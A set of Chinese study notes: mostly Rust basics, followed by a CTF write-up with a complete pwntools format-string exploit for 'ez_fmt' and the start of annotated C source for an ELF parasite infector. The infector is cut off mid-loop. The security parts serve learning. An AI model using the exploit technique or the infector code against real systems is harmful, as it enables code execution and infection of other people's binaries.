# Rust

## 第四章 所有权

所有权是Rust最独特的特性，他让rust不用GC就可以保证内存安全。




 ### 4.1.1 什么是所有权

* Rust的核心特性就是所有权
* 所有程序在运行时必须管理他们使用计算机内存的方式
  * 有一些语言有垃圾收集机制，在程序运行时，他们会不断地寻找不再使用的内存
  * 在其他语言中，程序员必须显示的分配和释放内存：如C，malloc以及free
* 在rust中采用了第三种方式：
  * 内存是通过一个所有权系统来管理的，其中包含一组编译器在编译时检查的规则，并且不会产生任何开销，也就是说这一特性，并不会减慢程序的速度。

#### stack VS heap

* stack 存储数据的方式是顺序的，并且遵循LIFO
*  并且所有存储咋stack上面的数据必须拥有已知且固定的大小。
  * 也就是说，编译时大小未知的或者运行时可能发生改变的都应该放在heap上面。
* 但是heap的内存组织性会差一些：
  * 当你把数据放入heap中时，你会申请一块足够大的空间，并标记为使用中，然后返回一个指针，作为这个空间的地址。
  * 这个过程叫在heap上进行的分配，简：”分配“。

**这一部分知识与pwn基础知识大量重合，就不记录了。**

主要就是，函数调用栈以及堆相关内容。

#### 所有权存在的原因

* 所有权解决的问题：
  * 跟踪代码**哪些部分**在使用heap **哪些数据**
  * 最小化heap上面的重复数据
  * 清理heap上个面的未使用数据以避免空间不足

总之，管理heap数据才是所有权出现的原因



### 4.1.2 所有权规则

* 每个值都只能有一个变量，这个变量是该值的所有者
* 每个值同时只能有一个所有者
* 当所有者超出作用域（scope）时，该值被删除。

#### 变量作用域

注意变量的作用域仅仅只在声明变量之后到花括号结束点，这么一段范围。

#### String类型

* string类型存储在heap上面
* 字符串字面值：程序里面写死的字符串值，不可改变。
* 能够在heap上面分配，能够存储在编译时未知数量的文本。

#### 创建String类型的值

可以使用from函数从字符串字面值

![image-20240110200025417](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202401102000497.png)

> 其中，”::“表示from时String类型下的关联函数；

并且这类字符串是可以修改的

* 为什么String类型的值可以修改，而字符串字面值却不能修改？

因为他们之间处理内存的方式不同。

#### 内存和分配

* 字符串字面值，在编译时就知道它的内容了，其文本内容直接被硬编码到最终的可执行文件中，
  * 而其优点就是：速度快，高效。
* String 类型，为支持可变性，需要在heap上面使用某种方式返回给操作系统
  * 这一步，在拥有Gc的语言之后，GC会跟踪并清理不再使用的内存
  * 如果没有GC，就需要我们去辨识内存何时不再使用，并调用代码将他返回。
* RUST采用了不同的操作方式，当变量走出其作用范围后，就会收回他的内存。

#### 变量和数据交互的方式：移动（MOVE）

* 多个变量可以与同一个数据以一种独特的方式交互。

* let x = 5；

  let y = x；

* 整数时已知的且固定的大小简单的值，这两个5被压到了stack中。

但如果这里的类型是**String**类型

##### String类型

* 一个String类型有3部分组成，一个 **指向存放字符串内容的指针**，一个 **表示该字符串长度的值**，一个 **表示该字符串容量的值**，而这些都存放在 **Stack**上面。内容则全部存放在，heap上面。
* 而我们知道 在rust里面，如果一个变量走出了他的作用域，**Rust就会调用一个Drop函数来释放他的内存**，而这里我们就会遇到一个问题，如果let x = String::from("hello")；let y = x；这里的y就会copy一份x的Stack上面的三个值，而不会copyheap上面的值，所以在同一个作用域中，就有了两个指向同一个区域的指针，在该作用域结束时，他们都会被回收，**这也就代表着，这一块heap上面的区域，会被释放两次，也就会造成double free**

这样肯定是不可以的，所以，Rust在这里引出了一个重要的概念 **MOVE移动**。

也就是说当我进行如上的赋值操作后，x会直接失效，y会代替x存在，而当作用域结束后，x并不会释放，那一块heap区域，完全交由y来释放。

这里就要引出一个新的概念：

##### 浅拷贝与深拷贝

我们一般认为，这样单纯复制指针，长度，容量的操作为浅拷贝，它不会复制实际的在heap上面的内容。

**这里也隐含了一个RUst的设计原则：RUST不会自动的创建数据的深拷贝**。

* 就运行是效率而言：任何赋值操作都是廉价的。

当然如果真的想对heaps上面的数据进行深度拷贝操作，而不仅仅是stack上面的数据，我们可以使用clone操作。

##### Stack上的copy（复制）

这里的复制操作，就是简单的操作，不存在浅拷贝和深拷贝。

* Copy trait，可以用于像整数这样完全村存放在Stack上面的类型
* 如果一个类型实现了Copy这个Trait，那么旧的变量再赋值后仍然可用
* 如果一个类型或者该类型的一部分实现了Drop trait，那么Rust不允许让他再去实现Copy Trait

##### 哪些类型可以实现copy trait

* 所有标量的组合
* 所有的整数类型
* bool
* char
* 浮点类型
* Tuple（所有字段值均可实现copy trait）

### 4.1.3 所有权与函数

* 在语义上面将值传递给变量是类似的
  * 将值传递给函数将会发生移动或者复制
* 注意，这里如果变量是上面几个说过的有copy trait的变量类型，那么他们就不会进行一个所有权的转移，仅仅只是一个浅拷贝，但如果是类似String类型的变量，那他在调用函数时，就会将所有权转移到被调用的函数中去。

#### 返回值和作用域

* 函数在返回值的过程中同样也会发生所有权的转移
* 一个变量的所有权总是遵循着同样的模式：
  * 当一个值赋给其他变量时就会发生移动
  * 当一个包含heap数据的变量离开作用域时，他的值就会drop函数清理，除非数据被移动到另外一个变量中

#### 如何让某个函数使用值，但不获得其所有权

* 第一种方法就是，先将变量正常传入然后利用返回值的所有权传递，传回新变量手中，这样虽然变量名发生里改变，但是所有权没变，作用域也没变。

![image-20240111212041346](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202401112120427.png)

* 利用Rust的特性，“引用reference”。

### 4.2.1 引用与借用

#### 引用

* 参数的类型是&String 而不是String

* & 符号就是引用：允许你引用某些值而不获得其所有权。

  ![image-20240111212611379](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202401112126414.png)

也就是说在引用时，回创建一个新变量内容是引用变量的指针。

#### 借用

**我们把引用作为函数的这个行为叫做借用**

同样的借用是不可以修改原变量的，因为只是 **借用**。



#### 可变引用

将变量设为可变，参数可变，引用时可变即可。·

 但是，**可变引用有一个限制：在特定的作用域内，对某一块数据，只能有一个可变引用**。

这样做的好处是可以在编译时防止数据竞争。

* 发生数据竞争的条件：
  * 两个或者多个指针同时访问一个数据
  * 至少有一个指针用于写入
  * 没有使用任何机制来同步对数据的访问

RUst在编译时就防止了这一种err发生

但是，**我们只需要添加作用域即可**：

![image-20240111213523993](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202401112135021.png)

可以看到这里我们只是添加了一对花括号而已，这样就完成了

**第二个限制：不允许同时拥有可变引用和不可变引用：**

![image-20240111213751262](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202401112137314.png)

#### 悬空引用（dangling references）

 

```rust
fn main(){
    let m = dangling();
}
fn dangling() -> &String{
    let note = String::from("helloe ");
    &note
}
```

报错：

![image-20240111214207053](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202401112142125.png)

#### 引用的规则

* 一个可变引用或者任意数量的不可变引用
* 引用必须一直有效

### 4.3 切片

Rust part2

# RUST 学习

## 第一章



安装rust，我选择在wsl中安装：

```
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
```

查看版本：

```shell
rustc --version
```

查看文档：

```shell
rustup doc
```



### hello world

源码：

```rust
fn main(){
    println!("Hello World!");
}
```

编译：

```shell
rustc main.rs  
```

注意事项：

* 和c语言一样，main函数也是rust语言第一个被执行的函数。
* fn （function）用于创建函数
* main没有参数，没有返回
* rust中的缩进是4个空格，不是tab
* **println**！是rust的宏（rust macro），所以这里如果将！删去，println就是一个函数
* 每块语句以分号结尾；

rust语言特点：ahead-of-time预编译，可以将编译完成的rust程序直接发送给未安装rust的电脑运行。

注意：

**rustc**只适用于简单的，小型的rust程序。复杂的则需要**cargo**

### Cargo

cargo是rust构建系统和包管理工具

```shell
~/rust_learning                                      19:21:10 ─╮
❯ cargo --version                                             ─╯
cargo 1.75.0 (1d8b05cdd 2023-11-20)
```

可以通过cargo new *** .rs创建项目：

他会直接在当前目录下创建一个新的目录：

里面包含：

src以及该项目的配置文件

![image-20240107193700042](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202401071937125.png)

.gitgnore是仓库初始文件，Cargo.toml是该项目的配置文件：

里面包含文件依赖，版本信息等



运行：

```shell
cargo run//类似docker run

```

## 第二章



### 牛刀小试：1.简单的猜数游戏

题目信息：

![image-20240107193945963](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202401071939998.png)

* 第一步，创建项目：

  ```shell
  ❯ cargo new guessing                                                              ─╯
       Created binary (application) `guessing` package
      
  ```

* 第二步，编写源码：

  ```rust
  use std::io;//因为我们下面
  fn main() {
      println!("let us play a game!");
      println!("guess what is next number!");
  
      let mut guess = String::new();
      io::stdin().read_line(&mut guess).expect("error");
      println!("this is your guess: {}", guess);
  }
  ```

  代码详解：

  ```rust
  use std::io;//因为我们下面引用了read_line函数，他是IO库中的函数，而IO库又是STD库中的函数，所以我们再调用read_line函数的时候需要用 USE 导入该库，因为这一个库没有被preclude
  
  fn main() {
      println!("let us play a game!");
      println!("guess what is next number!");//注意println！不是函数，是一个宏
  
      let mut guess = String::new();
      //let 用于声明变量
      //mut关键字表明该变量是可修改的，而在rust中所有变量在申明时默认都是immuteable，不可修改的
      //举个例子：如果let foo = 1;声明foo为1，那么我们不可以再foo = 2;对其赋值。
      //::表明new是String类型的关联函数，关联函数就是指，他是针对这一类型来实现的，而不是针对某一个实例实现的。String是标准库中的，采用utf-8格式。
      io::stdin().read_line(&mut guess).expect("error");
      //如果未申明use std::io，可以换一种写法：std::IO::read_line...这样子可以达到同样的效果。注意read_line返回的值为有两种：OK err，这里.expect就是指当readline返回值为err时就输出“error”；然后就是这里关于引用&，这样子引用的是同一块数据区域，注意read_line函数第二个参数规定了是String类型，只能用字符串类型的参数，引用&在rust里面也是默认不可更改，这也是加mut的原因。
      println!("this is your guess: {}", guess);
      //{}为占位符，类似C语言中的%d等等。
  }
  ```

### 牛刀小试：2.生成神秘数字

在rust中，我们为了生成随机数，需要外部导入一个lib类型的库 **rand**，这个库要添加到cargo.toml的[dependencies]部分中，如下：

![image-20240109141907653](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202401091419760.png)

然后我们重新编译一下：

![image-20240109142205738](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202401091422771.png)

可以看到，这里已经成功将rand依赖导入

导入库的过程大致如下：

先将crates.io这个网址最新的索引下载下来，就是一个注册表，然后更新注册表，然后cargo就会检查dependieces下有哪些库未下载，然后再下载，同样的因为rand库也有一个依赖，所以我们可看到上图中第一个位置是libc，这就是rand库的依赖。

简单源码：

```rust
use std::io;
use rand::Rng;//trait 类似接口
fn main() {
    println!("let us play a game!");
    println!("guess what is next number!");
    println!("this is the number you should know!");
    let secretnumber = rand::thread_rng().gen_range(1..101);//范围[1,101)，这里最新版的rand库，要求范围这么写，旧版本（1，101）；
    println!("生成的随机数是 {}",secretnumber);
    println!("plz guess the number.");
    let mut guess = String::new();
    io::stdin().read_line(&mut guess).expect("error");
    println!("this is your guess: {}", guess);
}

```

**注意：RUST严格区分大小写**；

### 牛刀小试：3.比较猜测数字与神秘数字

```rust
use std::io;
use rand::Rng;//trait 类似接口
use std::cmp::Ordering;
fn main() {
    println!("let us play a game!");
    println!("guess what is next number!");
    println!("this is the number you should know!");
    let secretnumber = rand::thread_rng().gen_range(1..101);//范围[1,101)
    println!("生成的随机数是 {}",secretnumber);
    println!("plz guess the number.");
    let mut guess = String::new();
    io::stdin().read_line(&mut guess).expect("error");
    println!("this is your guess: {}", guess);

    let guess:u32 = guess.trim().parse().expect("error");//因为之前guess在申明时直接就是String类型，而secretnumber是整数型，无法直接比较，会报错，所以这里我们需要
    //将String类型转为整形，trim是为了将字符串两边空格等不显示字符去掉，parse()转整形，如果有xy等字符，转型失败，同read_line的expect用法。
    //这样的同名变量会隐藏之前一个变量（shadow），其统属范围以覆盖位置为结尾。let guess:u32显示类型，同样的为了比较，secretnumber也会被转型从i32转为u32
    match guess.cmp(&secretnumber){
        Ordering::Less => println!("Too small"),
        Ordering::Greater => println!("Too big"),
        Ordering::Equal => println!("you win!"),//注意match的分支arm，结尾需要以，结尾.
    }
}
```

这节主要就是学习了：

* std::cmp::Ordering枚举的用法，以及简单match的用法。
* 同名函数转型及shadow的用法
* trim(),parse()等用法



### 牛刀小试：4.连续猜测的实现

```RUST
use std::io;
use rand::Rng;//trait 类似接口
use std::cmp::Ordering;
fn main() {
    println!("let us play a game!");
    println!("guess what is next number!");
    println!("this is the number you should know!");
    let secretnumber = rand::thread_rng().gen_range(1..101);//范围[1,101)
    println!("生成的随机数是 {}",secretnumber);
    loop{//无限循环
        println!("plz guess the number.");
        let mut guess = String::new();
        io::stdin().read_line(&mut guess).expect("error");
        println!("this is your guess: {}", guess);
    
        let guess: u32 = match guess.trim().parse() {
            Ok(num) => num,//将解析成功的数字赋给guess
            Err(_) => continue,//_通配符表示忽略报错信息，然后continue
        };//为了避免输入无法转型的字符导致的退出，因为parse返回也为result枚举型，可以用match分支实现
        match guess.cmp(&secretnumber) {
            Ordering::Less => println!("Too small"),
            Ordering::Greater => println!("Too big"),
            Ordering::Equal => {
                println!("you win!");
                break;//这里利用break实现在猜对后推出loop的效果
            }
        }
}
}

```

这里第一时间，我想的是直接在read_line后面match，然后报错了，发现原来是result类型不一致：

以下是chatgpt给出的回答：

> 
> 在你的代码中，`read_line` 和 `parse` 都返回 `Result` 类型，但它们代表的不同操作，因此包含的信息也不同。
>
> 1. **`io::Result`（`read_line`的返回类型）:**
>
>    - `io::Result` 是 `std::io` 模块中的一个特定 `Result` 类型，用于表示 I/O 操作可能的成功或失败。
>    - `io::Result` 的 `Ok` 分支包含成功时的结果，通常是读取的字节数或其他 I/O 相关信息。
>    - `io::Result` 的 `Err` 分支包含错误信息，它可能是由于文件不存在、权限问题、或其他 I/O 错误而导致的失败。
>
>    例如，在你的代码中，`io::stdin().read_line(&mut guess).expect("Error")` 尝试从标准输入读取一行，并返回 `io::Result`，其中 `Ok` 包含读取的字节数，而 `Err` 包含可能的 I/O 错误信息。
>
> 2. **`Result<u32, ParseIntError>`（`parse`的返回类型）:**
>
>    - `parse` 函数返回的 `Result` 是一个泛型类型，它表示解析字符串为数字可能的成功或失败。
>    - `Ok` 分支包含成功时的解析结果，这里是一个 `u32` 类型的数字。
>    - `Err` 分支包含解析失败时的错误信息，通常是一个实现了 `std::error::Error` trait 的类型，比如 `ParseIntError`。
>
>    在你的代码中，`match guess.trim().parse()` 用于处理 `parse` 的返回结果，其中 `Ok(num)` 包含解析成功时得到的数字，而 `Err(_)` 包含解析失败的错误信息。在这里，`continue` 语句用于跳过当前迭代并提示用户重新输入，表示解析失败。

所以这里只能在parse这里使用match分枝。

## 第三章：通用编程概念

* 变量与可变性
* 数据类型
  * 标量类型’
  * 复合类型
* 函数
* 注释
* 控制流

### 3.1 变量与可变性

* 声明变量使用**let**关键字
* 变量未使用**mut**关键字时，**默认不可更改**（**immutable**）

#### 常量（constant）

常量在被定义后和默认immut的变量一样不可更改，但依旧有很多区别：

* 不可用mut更改可变性
* 常量的声明需要使用const，并且必须显式的标明常量类型；
* 常量可以在任何作用域内声明，包括全局作用域
* **常量只能绑定到常量表达式**，无法绑定到函数的调用结果或只能在运行时才能计算出的值。

**在程序运行期间，常量在其声明的作用域中一直有效**

命名规范：Rust里面常量必须是使用大写字符，并且只能用下划线隔开，例：

* MAX_POINTS

定义例：

const MAX_POINTS：u32 = 100_00;**”_“** 在RUST可用于增加可读性。

#### 变量

**shadowing(隐藏)**

* 可以使用相同的名字声明变量，新的变量就会隐藏之前那个变量、
* 在后续代码中使用的变量就是新变量

![image-20240109164824070](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202401091648159.png)

![image-20240109164834320](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202401091648356.png)

* shadow和mut在某种程度上是不一样的：
  * 不使用let给immuttable变量赋值时会编译错误
  * 使用let声明同名变量时也不可变

```rust
   let mut y = 6;
    y = y+1;//不会报错
    let y = y+8;
    y = y+1;//这里会报错，重新声明也需要加mut
```

* 使用let声明同名新变量时，可以改变类型（第二章用过了）

![image-20240109165530190](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202401091655229.png)

usize表示与自己电脑相同位数。



### 3.2 数据类型

* 标量类型
* 复合类型

**RUST是静态编译语言，所以在编译时必须知道所有的变量的类型**：

* 基于使用的值，编译器能推断出大部分的类型

* 但对于如Parse()转型等方法使用过程中，就需要显式的写出

  ```rust
  let mut guess = "42";
  let guess:u32 = guess.parse().expect("err");
  ```

  ![image-20240109170604782](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202401091706831.png)

因为对于42我们可以转为i32和u32等等，所以我们需要显示的写出类型。

#### 标量类型

* 一个标量代表一个单个的值

* Rust有四个主要的标量类型：

  * 整数类型
  * 布尔类型
  * 浮点类型
  * 字符类型

  

##### 整数类型

* 1.整数类型就是没有小数部分
* 2.例如u32就是一个无符号的整数类型，占据32位空间
* 无符号类型整数以u开头
* 有符号整数以i开头
* Rust的整数类型列表如图：

![image-20240109171544339](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202401091715396.png)

注意一字节8位 

###### 整数字面值

![image-20240109171802534](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202401091718575.png)



* 除了byte类型外，所有数字字面值都允许使用类型后缀，例如:57u8

默认类型时i32，性能速度相当快。

###### 整数溢出

例如：u8的范围是0-255，如果你把一个u8的变量设为256，那么：

* 调试模式下编译就会：Rust会检查整数溢出，如果发生溢出，程序会在运行时panic
* 发布模式下（-release）编译：Rust不会检查可能导致panic的整数溢出。
  * 如果溢出发生，那么这时rust**就会进行环绕**操作：
    * 256 -> 0
    * 257->1
    * ...
    * 但是在发布模式下并不会发生panic

##### 浮点类型

Rust有两种浮点类型，也就是含有小数部分的类型

分别是：

* f32，32位，单精度
* f64，64位，双精度

Rust使用IEEE-754（计组：规格化）标准来描述，并使用f64为默认类型。

###### 数值操作

与其他语言一致，不细说。

##### 布尔类型

两种值：

false 和true

**均占一字节大小**。

![image-20240109173413254](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202401091734297.png)

##### 字符类型

* Rust中char类型被用来描述语言中最基础的单个字符。

* 字符类的字面值使用单引号
* 占用4字节
* 是unicode标量值，可以表示比ASCII多的字符内容：拼音，中日韩文，零长度空白字符，emoji表情等等。
  * 范围：U+0000 - U+D7FF
  * U+E000 - U+10FFFF

![image-20240109173823571](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202401091738649.png)

  

###  3.3 复合类型

* 复合类型可以提供多个值放在一个类型里面
* Rust提供了两种基础的复合类型：元组（Tuple），数组

#### Tuple

* Tuple可以将多个固定的多个值放在一个类型里面
* Tuple的长度是固定的：一旦声明就无法改没变

##### 创建Tuple

* 在小括号里面，将值用逗号分开
* Tuple中的每个位置都对应每一个类型，tuple中个元素类型不必

```rust
let hui:(i32,f64,char) = (32,5.4,'a');
    println!("{},{},{}",hui.0,hui.1,hui.2);
    //输出
    32,5.4,a
```

##### 获取Tuple的元素值

* 可以使用模式匹配来解构（destructure）一个Tuple来获取元素的值

```rust
let hui:(i32,f64,char) = (32,5.4,'a');
    let (x,y,z) = hui;
    println!("{},{},{}",hui.0,hui.1,hui.2);
    println!("{},{},{}",x,y,z);
//输出
32,5.4,a
32,5.4,a
```

##### 访问Tuple元素

* 在Tuple变量使用点标记法，后接元素的索引号；

```rust
let hui:(i32,f64,char) = (32,5.4,'a');
    println!("{},{},{}",hui.0,hui.1,hui.2);
    //输出
    32,5.4,a
```

#### 数组

* 数组也可以将多个值放在一个类型里面
* 数组中每个元素的类型必须相同
* 数组的长度也是固定的

##### 数组的类型

let a[u32;5] = [1,2,3,4,5];

[类型：长度]

**或者**：

let a[3;5] = [3,3,3,3,3];

[值：长度]

#### 访问数组元素

通过中括号的索引访问，与其它语言中一致；

注意简单的数组越界在编译时，rust会直接报错；当然复杂的越界不会；

**最大为12时**：

报错

![image-20240110132835971](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202401101328069.png)

不报错：

![image-20240110132905382](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202401101329420.png)

### 3.4 函数

* 声明函数使用fn关键字
* 按照惯例，针对函数和变量名，rust使用snake case命名规范

> snake case;
>
> 所有字母都是小写，单词之间使用下划线分开。

#### 函数的参数

* paremeters.arguments(形参，实参)
* 在函数的签名中必须声明每个参数的类型。

```rust
fn new_function(x:i32,y:u32);//这里的参数z，y也就是形参
```

![image-20240110141259671](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202401101412748.png)

这里有一点很重要：

注意这里y语句部分，x+3没有以分号结尾，所以这里其实相当于y = x + 3，只不过这里x的初值为1；只要看这里有没有返回值就可以，如果加了”；“，呢么这块语句就会被判定为没有返回值，y也就会被赋空值；并爆错，无法打印。

并且我们可以看到，**这里x没有shadow前一个x，它的作用域只在花括号中。**

#### 函数返回值

* 在->符号后面声明函数返回值的类型，但是不可以返回值命名
* 在Rust里面，返回值就是函数体里面最后一个表达式的值
* 若想提前返回，需要return关键字，并指定一个值
  * 大多数函数都默认使用最后一个表达式的值为返回值

```rust
fn six() -> i32{
        6
    }
    fn plus_six(x:i32) -> i32{
        x + 6
    }
    let yu = six();
    let xu = plus_six(6);
   
    println!("the value of yu {}",yu);
    println!("the value of yu {}",xu);
//输出
the value of yu 6
the value of yu 12
```

#### 注释

//

或者/**/

### 3.5 控制流

 #### if表达式

* if表达式允许您根据条件来执行不同的代码分支
  * **这个条件必须是bool类型**
* if表达式中，与条件相关联的代码块就叫arm分支；
* 可在后面添加else；

#### else if 处理多重条件

注意：**如果使用了多于一个else if，最好使用match语句重构你的代码**。

---



#### 循环

##### loop循环

反复执行一段代码，直至手动停止，或者break；



##### while条件循环

每次执行前都判断一次条件



##### for循环

![image-20240110144251556](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202401101442600.png)

最为重要的循环方法

![image-20240110144354390](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202401101443435.png)

通过Range生成，1，2，3三个数，并用rev（），逆序输出。



rust language learning part1

silvio 病毒填充

### ez_fmt

格式化字符串漏洞，先利用格式化字符漏洞将printf返回地址改为main

![image-20231221163417447](C:\Users\胡宜凯\AppData\Roaming\Typora\typora-user-images\image-20231221163417447.png)

然后通过将libc_start_main函数的地址写入并泄露来获取libc基地址：

通过测试，我们可以发现格式化字符串的偏移为6，然后以此为基点，往下数可以发现main函数的地址偏移为8

```python
payload=b'%19$p'
payload+=b'%'+str(0x1205-6-8).encode()+b'c%10$hn'
payload=payload.ljust(0x20,b'a')
payload+=p64(stack_printf_ret)
p.send(payload)
p.recvuntil(b'0x')
libc_base=int(p.recv(12),16)-0xf3-libc.sym['__libc_start_main']
```

得到基地址之后，我们可以得到ogg的地址，然后通过一次单子节和一次双字节的格式化字符串覆盖返回地址，即可。

注意这里因为其实是两次写，所以为防止第二次写的数据覆盖了第一次写的内容，我们需要对地址加2，来解决。

然后计算one_gadget，通过格式化字符串修改，然后在获取

```python
p.recvuntil(b'0x')
libc_base=int(p.recv(12),16)-0xe3-libc.sym['__libc_start_main']
one=libc_base+one_gadgets
one1=one&0xffff
one2=(one>>16)&0xffff
```

#### exp

```python
from pwn import*
context(arch = 'amd64',os = 'linux')
context.terminal = ['tmux','splitw','-h']

p = process('./ez_fmt')
elf = ELF('./ez_fmt')
libc = ELF('./libc-2.31.so')
attach(p)
p.recvuntil(b'you 0x')
stack_addr = int(p.recv(12),16)

# 0x1205 = 4613
payload = b'%4613c%8$hn'+b'%19$p'+p64(stack_addr - 0x08)
payload = payload.ljust(0x20,b'a')
p.send(payload)
p.recvuntil(b'0x')
stack_libc_start_main = int(p.recv(12),16) - 243


libc_base = stack_libc_start_main - libc.sym['__libc_start_main']
print(hex(libc.sym['__libc_start_main']))
success('stack_addr ->' + hex(stack_addr))
success('libc_start_main ->' + hex(stack_libc_start_main))
success('libc_base ->' + hex(libc_base))

one_gadget = [0xe3cf3,0xe3cf6,0xe3cf9]
ogg1 = libc_base + one_gadget[1]
ogg2 = libc_base + one_gadget[0]
success('one_gadget1->' + hex(ogg1))
success('one_gadget2->' + hex(ogg2))

ogg1 = ogg1 & 0xffff
success('ogg1 ->' + hex(ogg1))
if(ogg2 >= ogg1):
    ogg2 = (ogg2 >> 16) & 0xff
success('ogg2 ->' + hex(ogg2))
ogg1 = int(str(ogg1),16)
ogg2 = int(str(ogg2),16)
print(hex(ogg1))
print(hex(ogg2))
pause()
payload = b'%'+str(ogg1).encode() +b'c%10$hn'+b'%'+str(ogg2).encode() + b'c%11hhn'
payload = payload.ljust(0x20,b'a') 
payload += p64(stack_addr+0x68)+p64(stack_addr+0x68+2)
p.sendline(payload)

p.interactive()
```



ezfmt

> 本文参照源码均来自[bitlackeys.org](https://bitlackeys.org/)的这一源码

![image-20231004005757978](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202310040058095.png)



最近一直在看ELF文件病毒类的文章，对病毒技术相当感兴趣，所以就浅学了一下其中最简单的一个，比之前看的关于pt-note到pt_load的注射算法的病毒类型还是要简单不少。

下面切入正题：

## ELF Reverse padding injector

先放文中源码，代码中注释都是我所理解的解释：

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h> //提供了一些POSIX操作系统相关的函数和常量，包括文件和目录操作、进程控制等。例如，open、close和read等函数。lseek
#include <sys/types.h> //定义了一些系统相关的数据类型，例如size_t、pid_t等
#include <sys/stat.h> //包含了文件状态信息的相关定义，如文件的权限、大小、修改时间等。用于stat、fstat等函数。
#include <fcntl.h> //包含了文件控制相关的常量和函数声明，用于文件操作，例如open时指定的文件访问标志。

#include <elf.h> //这是一个特殊的头文件，用于处理ELF（可执行和可链接格式）文件的相关信息。它包含了一些数据结构和常量，用于解析和操作ELF文件的头部、节（section）和程序头表（program header table）等信息。
#include <sys/mman.h> //包含了内存映射相关的函数和常量，用于将文件内容映射到内存中，实现对文件的高效访问。包括mmap函数。

#define PAGE_SIZE 4096   //定义“页”的大小 4KB
#define TMP "tmp.bin"   //宏定义文件名为TMP

struct stat st;   //存储文件信息结构
char *host; //存储主机文件名的字符串

unsigned long entry_point; //记录源文件入口点
int ehdr_size;  //估计是ELF文件头的大小，有什么用？
/*
以下是一些可能包含在ELF文件头（ehdr）中的字段：
文件类型（e_type）：指示文件的类型，例如可执行文件、共享库、可重定位文件等。
目标体系结构（e_machine）：指示程序应在哪种体系结构上运行，如x86、ARM、PowerPC等。
文件版本（e_version）：描述文件的版本信息。
入口点地址（e_entry）：指示程序的入口点地址，即程序开始执行的地址。
文件头大小（e_ehsize）：描述ELF文件头的大小。
程序头表偏移量（e_phoff）：指示程序头表在文件中的偏移量。
节头表偏移量（e_shoff）：指示节头表在文件中的偏移量。
*/

void mirror_binary_with_parasite(unsigned int, unsigned char *, char *);  //插入可执行带代码,该函数声明告诉编译器函数的接口（参数类型和顺序），仅仅是申明，对于参数的定义在后面


int main(int argc, char **argv)
{
	unsigned char *mem; 
	unsigned char *tp;
	int fd, i, c;
	char text_found;
	mode_t mode;//mode_t无符号整数型，表示访问权限 //有用？
	
	extern char parasite[]; 
	/* bytes of parasite */
        unsigned int parasite_size;  //寄生虫大小
	unsigned long int leap_offset; 
	unsigned long parasite_vaddr;

 	Elf64_Shdr *s_hdr; //节头表
    Elf64_Ehdr *e_hdr; // ELF文件头
    Elf64_Phdr *p_hdr; // 程序头表（段）
	
	usage:
	if (argc < 3) //这里要求必须从命令行读取到两个以上的参数，第一个是文件名，第二个是病毒代码大小
	{
		printf("Usage: %s <elf-host> <size-of-parasite>\n",argv[0]); 
		exit(-1);
	}
 	 
	parasite_size = atoi(argv[2]); //读取病毒大小
	host = argv[1]; //文件名

	printf("Length of parasite is %d bytes\n", parasite_size);
	
	if ((fd = open(argv[1], O_RDONLY)) == -1) //打开文件
	{
		perror("open");
		exit(-1);
	}
	
	if (fstat(fd, &st) < 0)  // 检查文件是否调用成功，获取文件stat结构体数据（文件状态信息结构体）
        {
               perror("stat");
               exit(-1);
        } //
	/*struct stat { 
         dev_t st_dev; // 文件所在设备ID 
         ino_t st_ino; // 结点(inode)编号  
         mode_t st_mode; // 保护模式 
         nlink_t st_nlink; // 硬链接个数  
         uid_t st_uid; // 所有者用户ID  
         gid_t st_gid; // 所有者组ID  
         dev_t st_rdev; // 设备ID(如果是特殊文件) 
         off_t st_size; // 总体尺寸，以字节为单位 
         blksize_t st_blksize; // 文件系统 I/O 块大小
         blkcnt_t st_blocks; // 已分配 512B 块个数
         time_t st_atime; // 上次访问时间 
         time_t st_mtime; // 上次更新时间 
         time_t st_ctime; // 上次状态更改时间 
};
*/
	mem = mmap(NULL, st.st_size,  PROT_READ | PROT_WRITE, MAP_PRIVATE , fd, 0); //NULL表示让操作系统选择映射到内存的起始区域
	// st.st_size 需要映射的文件的大小 
	// 设置mmap的内存的权限为可读可写
	//私有映射，在映射区做的操作不会回写硬盘
	//fd:文件描述符   0：从文件头部开始映射

	if (mem == MAP_FAILED) //映射失败
	{
	       perror("mmap");
	       exit(-1);
 	}
	
	e_hdr = (Elf64_Ehdr *)mem; //强转ELF_EHDR结构体指针
 	if (e_hdr->e_ident[0] != 0x7f && strcmp(&e_hdr->e_ident[1], "ELF")) //检查是否为ELF文件
        {
                printf("%s it not an elf file\n", argv[1]);
                exit(-1);
        } 
	
       printf("Parasite size: %d\n", parasite_size);
       
       text_found = 0; //用于标记是否找到代码段
       unsigned int after_insertion_offset; // 
       ehdr_size = sizeof(*e_hdr); // ELF文件头大小
       entry_point = e_hdr->e_entry;  //入口点
 	
       p_hdr = (Elf64_Phdr *)(mem + e_hdr->e_phoff); // 程序表头文件偏移
       p_hdr[0].p_offset += PAGE_SIZE; //为病毒腾出足够的空间
       p_hdr[1].p_offset += PAGE_SIZE;

       for (i = e_hdr->e_phnum; i-- > 0; p_hdr++) //循环遍历各个段
       {	 
       	   if (text_found)
